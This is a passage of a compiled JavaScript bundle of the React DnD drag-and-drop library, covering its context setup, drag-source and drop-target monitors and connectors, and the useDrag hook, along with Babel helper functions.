= { dragDropManager: props.manager }; return [_manager, false]; } var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode); var isGlobalInstance = !props.context; return [manager, isGlobalInstance]; } var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__'); function createSingletonDndContext(backend) { var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext(); var options = arguments.length > 2 ? arguments[2] : undefined; var debugMode = arguments.length > 3 ? arguments[3] : undefined; var ctx = context; if (!ctx[instanceSymbol]) { ctx[instanceSymbol] = createDndContext(backend, context, options, debugMode); } return ctx[instanceSymbol]; } function getGlobalContext() { return typeof global !== 'undefined' ? global : window; } /* * A utility for rendering a drag preview image */ var DragPreviewImage = React.memo(function (_ref) { var connect = _ref.connect, src = _ref.src; React.useEffect(function () { if (typeof Image === 'undefined') return; var connected = false; var img = new Image(); img.src = src; img.onload = function () { connect(img); connected = true; }; return function () { if (connected) { connect(null); } }; }); return null; }); DragPreviewImage.displayName = 'DragPreviewImage'; var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect; function shallowEqual(objA, objB, compare, compareContext) { var compareResult = compare ? compare.call(compareContext, objA, objB) : void 0; if (compareResult !== void 0) { return !!compareResult; } if (objA === objB) { return true; } if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) { return false; } var keysA = Object.keys(objA); var keysB = Object.keys(objB); if (keysA.length !== keysB.length) { return false; } var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB); // Test for A's keys different from B. for (var idx = 0; idx < keysA.length; idx++) { var key = keysA[idx]; if (!bHasOwnProperty(key)) { return false; } var valueA = objA[key]; var valueB = objB[key]; compareResult = compare ? compare.call(compareContext, valueA, valueB, key) : void 0; if (compareResult === false || compareResult === void 0 && valueA !== valueB) { return false; } } return true; } function _slicedToArray$2(arr, i) { return _arrayWithHoles$2(arr) || _iterableToArrayLimit$2(arr, i) || _unsupportedIterableToArray$2(arr, i) || _nonIterableRest$2(); } function _nonIterableRest$2() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$2(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$2(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$2(o, minLen); } function _arrayLikeToArray$2(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$2(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$2(arr) { if (Array.isArray(arr)) return arr; } /** * * @param monitor The monitor to collect state from * @param collect The collecting function * @param onUpdate A method to invoke when updates occur */ function useCollector(monitor, collect, onUpdate) { var _useState = React.useState(function () { return collect(monitor); }), _useState2 = _slicedToArray$2(_useState, 2), collected = _useState2[0], setCollected = _useState2[1]; var updateCollected = React.useCallback(function () { var nextValue = collect(monitor); if (!shallowEqual(collected, nextValue)) { setCollected(nextValue); if (onUpdate) { onUpdate(); } } }, [collected, monitor, onUpdate]); // update the collected properties after the first render // and the components are attached to dnd-core useIsomorphicLayoutEffect(updateCollected, []); return [collected, updateCollected]; } function _slicedToArray$3(arr, i) { return _arrayWithHoles$3(arr) || _iterableToArrayLimit$3(arr, i) || _unsupportedIterableToArray$3(arr, i) || _nonIterableRest$3(); } function _nonIterableRest$3() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$3(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$3(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$3(o, minLen); } function _arrayLikeToArray$3(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$3(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$3(arr) { if (Array.isArray(arr)) return arr; } function useMonitorOutput(monitor, collect, onCollect) { var _useCollector = useCollector(monitor, collect, onCollect), _useCollector2 = _slicedToArray$3(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; useIsomorphicLayoutEffect(function subscribeToMonitorStateChange() { var handlerId = monitor.getHandlerId(); if (handlerId == null) { return undefined; } return monitor.subscribeToStateChange(updateCollected, { handlerIds: [handlerId] }); }, [monitor, updateCollected]); return collected; } function registerTarget(type, target, manager) { var registry = manager.getRegistry(); var targetId = registry.addTarget(type, target); return [targetId, function () { return registry.removeTarget(targetId); }]; } function registerSource(type, source, manager) { var registry = manager.getRegistry(); var sourceId = registry.addSource(type, source); return [sourceId, function () { return registry.removeSource(sourceId); }]; } /** * A hook to retrieve the DragDropManager from Context */ function useDragDropManager() { var _useContext = React.useContext(DndContext), dragDropManager = _useContext.dragDropManager; invariant(dragDropManager != null, 'Expected drag drop context'); return dragDropManager; } function _classCallCheck$3(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$3(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$3(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$3(Constructor.prototype, protoProps); if (staticProps) _defineProperties$3(Constructor, staticProps); return Constructor; } var isCallingCanDrag = false; var isCallingIsDragging = false; var DragSourceMonitorImpl = /*#__PURE__*/function () { function DragSourceMonitorImpl(manager) { _classCallCheck$3(this, DragSourceMonitorImpl); this.sourceId = null; this.internalMonitor = manager.getMonitor(); } _createClass$3(DragSourceMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(sourceId) { this.sourceId = sourceId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.sourceId; } }, { key: "canDrag", value: function canDrag() { invariant(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingCanDrag = true; return this.internalMonitor.canDragSource(this.sourceId); } finally { isCallingCanDrag = false; } } }, { key: "isDragging", value: function isDragging() { if (!this.sourceId) { return false; } invariant(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingIsDragging = true; return this.internalMonitor.isDraggingSource(this.sourceId); } finally { isCallingIsDragging = false; } } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "isDraggingSource", value: function isDraggingSource(sourceId) { return this.internalMonitor.isDraggingSource(sourceId); } }, { key: "isOverTarget", value: function isOverTarget(targetId, options) { return this.internalMonitor.isOverTarget(targetId, options); } }, { key: "getTargetIds", value: function getTargetIds() { return this.internalMonitor.getTargetIds(); } }, { key: "isSourcePublic", value: function isSourcePublic() { return this.internalMonitor.isSourcePublic(); } }, { key: "getSourceId", value: function getSourceId() { return this.internalMonitor.getSourceId(); } }, { key: "subscribeToOffsetChange", value: function subscribeToOffsetChange(listener) { return this.internalMonitor.subscribeToOffsetChange(listener); } }, { key: "canDragSource", value: function canDragSource(sourceId) { return this.internalMonitor.canDragSource(sourceId); } }, { key: "canDropOnTarget", value: function canDropOnTarget(targetId) { return this.internalMonitor.canDropOnTarget(targetId); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DragSourceMonitorImpl; }(); function setRef(ref, node) { if (typeof ref === 'function') { ref(node); } else { ref.current = node; } } function cloneWithRef(element, newRef) { var previousRef = element.ref; invariant(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute'); if (!previousRef) { // When there is no ref on the element, use the new ref directly return React.cloneElement(element, { ref: newRef }); } else { return React.cloneElement(element, { ref: function ref(node) { setRef(previousRef, node); setRef(newRef, node); } }); } } function throwIfCompositeComponentElement(element) { // Custom components can no longer be wrapped directly in React DnD 2.0 // so that we don't need to depend on findDOMNode() from react-dom. if (typeof element.type === 'string') { return; } var displayName = element.type.displayName || element.type.name || 'the component'; throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.'); } function wrapHookToRecognizeElement(hook) { return function () { var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; // When passed a node, call the hook straight away. if (!React.isValidElement(elementOrNode)) { var node = elementOrNode; hook(node, options); // return the node so it can be chained (e.g. when within callback refs // <div ref={node => connectDragSource(connectDropTarget(node))}/> return node; } // If passed a ReactElement, clone it and attach this function as a ref. // This helps us achieve a neat API where user doesn't even know that refs // are being used under the hood. var element = elementOrNode; throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly var ref = options ? function (node) { return hook(node, options); } : hook; return cloneWithRef(element, ref); }; } function wrapConnectorHooks(hooks) { var wrappedHooks = {}; Object.keys(hooks).forEach(function (key) { var hook = hooks[key]; // ref objects should be passed straight through without wrapping if (key.endsWith('Ref')) { wrappedHooks[key] = hooks[key]; } else { var wrappedHook = wrapHookToRecognizeElement(hook); wrappedHooks[key] = function () { return wrappedHook; }; } }); return wrappedHooks; } function _typeof$2(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$2 = function _typeof(obj) { return typeof obj; }; } else { _typeof$2 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$2(obj); } function isRef(obj) { return (// eslint-disable-next-line no-prototype-builtins obj !== null && _typeof$2(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current') ); } function _classCallCheck$4(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$4(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$4(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$4(Constructor.prototype, protoProps); if (staticProps) _defineProperties$4(Constructor, staticProps); return Constructor; } var SourceConnector = /*#__PURE__*/function () { function SourceConnector(backend) { var _this = this; _classCallCheck$4(this, SourceConnector); this.hooks = wrapConnectorHooks({ dragSource: function dragSource(node, options) { _this.clearDragSource(); _this.dragSourceOptions = options || null; if (isRef(node)) { _this.dragSourceRef = node; } else { _this.dragSourceNode = node; } _this.reconnectDragSource(); }, dragPreview: function dragPreview(node, options) { _this.clearDragPreview(); _this.dragPreviewOptions = options || null; if (isRef(node)) { _this.dragPreviewRef = node; } else { _this.dragPreviewNode = node; } _this.reconnectDragPreview(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dragSourceRef = null; this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function this.dragPreviewRef = null; this.dragPreviewOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDragSource = null; this.lastConnectedDragSourceOptions = null; this.lastConnectedDragPreview = null; this.lastConnectedDragPreviewOptions = null; this.backend = backend; } _createClass$4(SourceConnector, [{ key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (this.handlerId === newHandlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "reconnect", value: function reconnect() { this.reconnectDragSource(); this.reconnectDragPreview(); } }, { key: "reconnectDragSource", value: function reconnectDragSource() { var dragSource = this.dragSource; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange(); if (didChange) { this.disconnectDragSource(); } if (!this.handlerId) { return; } if (!dragSource) { this.lastConnectedDragSource = dragSource; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragSource = dragSource; this.lastConnectedDragSourceOptions = this.dragSourceOptions; this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions); } } }, { key: "reconnectDragPreview", value: function reconnectDragPreview() { var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange(); if (didChange) { this.disconnectDragPreview(); } if (!this.handlerId) { return; } if (!dragPreview) { this.lastConnectedDragPreview = dragPreview; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragPreview = dragPreview; this.lastConnectedDragPreviewOptions = this.dragPreviewOptions; this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions); } } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didConnectedDragSourceChange", value: function didConnectedDragSourceChange() { return this.lastConnectedDragSource !== this.dragSource; } }, { key: "didConnectedDragPreviewChange", value: function didConnectedDragPreviewChange() { return this.lastConnectedDragPreview !== this.dragPreview; } }, { key: "didDragSourceOptionsChange", value: function didDragSourceOptionsChange() { return !shallowEqual(this.lastConnectedDragSourceOptions, this.dragSourceOptions); } }, { key: "didDragPreviewOptionsChange", value: function didDragPreviewOptionsChange() { return !shallowEqual(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions); } }, { key: "disconnectDragSource", value: function disconnectDragSource() { if (this.dragSourceUnsubscribe) { this.dragSourceUnsubscribe(); this.dragSourceUnsubscribe = undefined; } } }, { key: "disconnectDragPreview", value: function disconnectDragPreview() { if (this.dragPreviewUnsubscribe) { this.dragPreviewUnsubscribe(); this.dragPreviewUnsubscribe = undefined; this.dragPreviewNode = null; this.dragPreviewRef = null; } } }, { key: "clearDragSource", value: function clearDragSource() { this.dragSourceNode = null; this.dragSourceRef = null; } }, { key: "clearDragPreview", value: function clearDragPreview() { this.dragPreviewNode = null; this.dragPreviewRef = null; } }, { key: "connectTarget", get: function get() { return this.dragSource; } }, { key: "dragSourceOptions", get: function get() { return this.dragSourceOptionsInternal; }, set: function set(options) { this.dragSourceOptionsInternal = options; } }, { key: "dragPreviewOptions", get: function get() { return this.dragPreviewOptionsInternal; }, set: function set(options) { this.dragPreviewOptionsInternal = options; } }, { key: "dragSource", get: function get() { return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current; } }, { key: "dragPreview", get: function get() { return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current; } }]); return SourceConnector; }(); function _slicedToArray$4(arr, i) { return _arrayWithHoles$4(arr) || _iterableToArrayLimit$4(arr, i) || _unsupportedIterableToArray$4(arr, i) || _nonIterableRest$4(); } function _nonIterableRest$4() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$4(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$4(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$4(o, minLen); } function _arrayLikeToArray$4(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$4(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$4(arr) { if (Array.isArray(arr)) return arr; } function _typeof$3(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$3 = function _typeof(obj) { return typeof obj; }; } else { _typeof$3 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$3(obj); } function useDragSourceMonitor() { var manager = useDragDropManager(); var monitor = React.useMemo(function () { return new DragSourceMonitorImpl(manager); }, [manager]); var connector = React.useMemo(function () { return new SourceConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } function useDragHandler(spec, monitor, connector) { var manager = useDragDropManager(); var handler = React.useMemo(function () { return { beginDrag: function beginDrag() { var _spec$current = spec.current, begin = _spec$current.begin, item = _spec$current.item; if (begin) { var beginResult = begin(monitor); invariant(beginResult == null || _typeof$3(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null'); return beginResult || item || {}; } return item || {}; }, canDrag: function canDrag() { if (typeof spec.current.canDrag === 'boolean') { return spec.current.canDrag; } else if (typeof spec.current.canDrag === 'function') { return spec.current.canDrag(monitor); } else { return true; } }, isDragging: function isDragging(globalMonitor, target) { var isDragging = spec.current.isDragging; return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId(); }, endDrag: function endDrag() { var end = spec.current.end; if (end) { end(monitor.getItem(), monitor); } connector.reconnect(); } }; }, []); useIsomorphicLayoutEffect(function registerHandler() { var _registerSource = registerSource(spec.current.item.type, handler, manager), _registerSource2 = _slicedToArray$4(_registerSource, 2), handlerId = _registerSource2[0], unregister = _registerSource2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, []); } function _slicedToArray$5(arr, i) { return _arrayWithHoles$5(arr) || _iterableToArrayLimit$5(arr, i) || _unsupportedIterableToArray$5(arr, i) || _nonIterableRest$5(); } function _nonIterableRest$5() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$5(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$5(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$5(o, minLen); } function _arrayLikeToArray$5(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$5(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$5(arr) { if (Array.isArray(arr)) return arr; } /** * useDragSource hook * @param sourceSpec The drag source specification * */ function useDrag(spec) { var specRef = React.useRef(spec); specRef.current = spec; // TODO: wire options into createSourceConnector invariant(spec.item != null, 'item must be defined'); invariant(spec.item.type != null, 'item type must be defined'); var _useDragSourceMonitor = useDragSourceMonitor(), _useDragSourceMonitor2 = _slicedToArray$5(_useDragSourceMonitor, 2), monitor = _useDragSourceMonitor2[0], connector = _useDragSourceMonitor2[1]; useDragHandler(specRef, monitor, connector); var result = useMonitorOutput(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDragSource = React.useMemo(function () { return connector.hooks.dragSource(); }, [connector]); var connectDragPreview = React.useMemo(function () { return connector.hooks.dragPreview(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dragSourceOptions = specRef.current.options || null; connector.reconnect(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dragPreviewOptions = specRef.current.previewOptions || null; connector.reconnect(); }, [connector]); return [result, connectDragSource, connectDragPreview]; } function _classCallCheck$5(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$5(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$5(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$5(Constructor.prototype, protoProps); if (staticProps) _defineProperties$5(Constructor, staticProps); return Constructor; } var TargetConnector = /*#__PURE__*/function () { function TargetConnector(backend) { var _this = this; _classCallCheck$5(this, TargetConnector); this.hooks = wrapConnectorHooks({ dropTarget: function dropTarget(node, options) { _this.clearDropTarget(); _this.dropTargetOptions = options; if (isRef(node)) { _this.dropTargetRef = node; } else { _this.dropTargetNode = node; } _this.reconnect(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dropTargetRef = null; this.dropTargetOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDropTarget = null; this.lastConnectedDropTargetOptions = null; this.backend = backend; } _createClass$5(TargetConnector, [{ key: "reconnect", value: function reconnect() { // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange(); if (didChange) { this.disconnectDropTarget(); } var dropTarget = this.dropTarget; if (!this.handlerId) { return; } if (!dropTarget) { this.lastConnectedDropTarget = dropTarget; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDropTarget = dropTarget; this.lastConnectedDropTargetOptions = this.dropTargetOptions; this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions); } } }, { key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (newHandlerId === this.handlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didDropTargetChange", value: function didDropTargetChange() { return this.lastConnectedDropTarget !== this.dropTarget; } }, { key: "didOptionsChange", value: function didOptionsChange() { return !shallowEqual(this.lastConnectedDropTargetOptions, this.dropTargetOptions); } }, { key: "disconnectDropTarget", value: function disconnectDropTarget() { if (this.unsubscribeDropTarget) { this.unsubscribeDropTarget(); this.unsubscribeDropTarget = undefined; } } }, { key: "clearDropTarget", value: function clearDropTarget() { this.dropTargetRef = null; this.dropTargetNode = null; } }, { key: "connectTarget", get: function get() { return this.dropTarget; } }, { key: "dropTargetOptions", get: function get() { return this.dropTargetOptionsInternal; }, set: function set(options) { this.dropTargetOptionsInternal = options; } }, { key: "dropTarget", get: function get() { return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current; } }]); return TargetConnector; }(); function _classCallCheck$6(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$6(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$6(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$6(Constructor.prototype, protoProps); if (staticProps) _defineProperties$6(Constructor, staticProps); return Constructor; } var isCallingCanDrop = false; var DropTargetMonitorImpl = /*#__PURE__*/function () { function DropTargetMonitorImpl(manager) { _classCallCheck$6(this, DropTargetMonitorImpl); this.targetId = null; this.internalMonitor = manager.getMonitor(); } _createClass$6(DropTargetMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(targetId) { this.targetId = targetId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.targetId; } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "canDrop", value: function canDrop() { // Cut out early if the target id has not been set. This should prevent errors // where the user has an older version of dnd-core like in // https://github.com/react-dnd/react-dnd/issues/1310 if (!this.targetId) { return false; } invariant(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor'); try { isCallingCanDrop = true; return this.internalMonitor.canDropOnTarget(this.targetId); } finally { isCallingCanDrop = false; } } }, { key: "isOver", value: function isOver(options) { if (!this.targetId) { return false; } return this.internalMonitor.isOverTarget(this.targetId, options); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DropTargetMonitorImpl; }(); function _slicedToArray$6(arr, i) { return _arrayWithHoles$6(arr) || _iterableToArrayLimit$6(arr, i) || _unsupportedIterableToArray$6(arr, i) || _nonIterableRest$6(); } function _nonIterableRest$6() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray$6(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$6(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$6(o, minLen); } function _arrayLikeToArray$6(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit$6(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles$6(arr) { if (Array.isArray(arr)) return arr; } function useDropTargetMonitor() { var manager = useDragDropManager(); var monitor = React.useMemo(function () { return new DropTargetMonitorImpl(manager); }, [manager]); var connector = React.useMemo(function () { return new TargetConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } function useDropHandler(spec, monitor, connector) { var manager = useDragDropManager(); var handler = React.useMemo(function () { return { canDrop: function canDrop() { var canDrop = spec.current.canDrop; return canDrop ? canDrop(monitor.getItem(), monitor) : true; }, hover: function hover() { var hover = spec.current.hover; if (hover) { hover(monitor.getItem(), monitor); } }, drop: function drop() { var drop = spec.current.drop; if (drop) { return drop(monitor.getItem(), 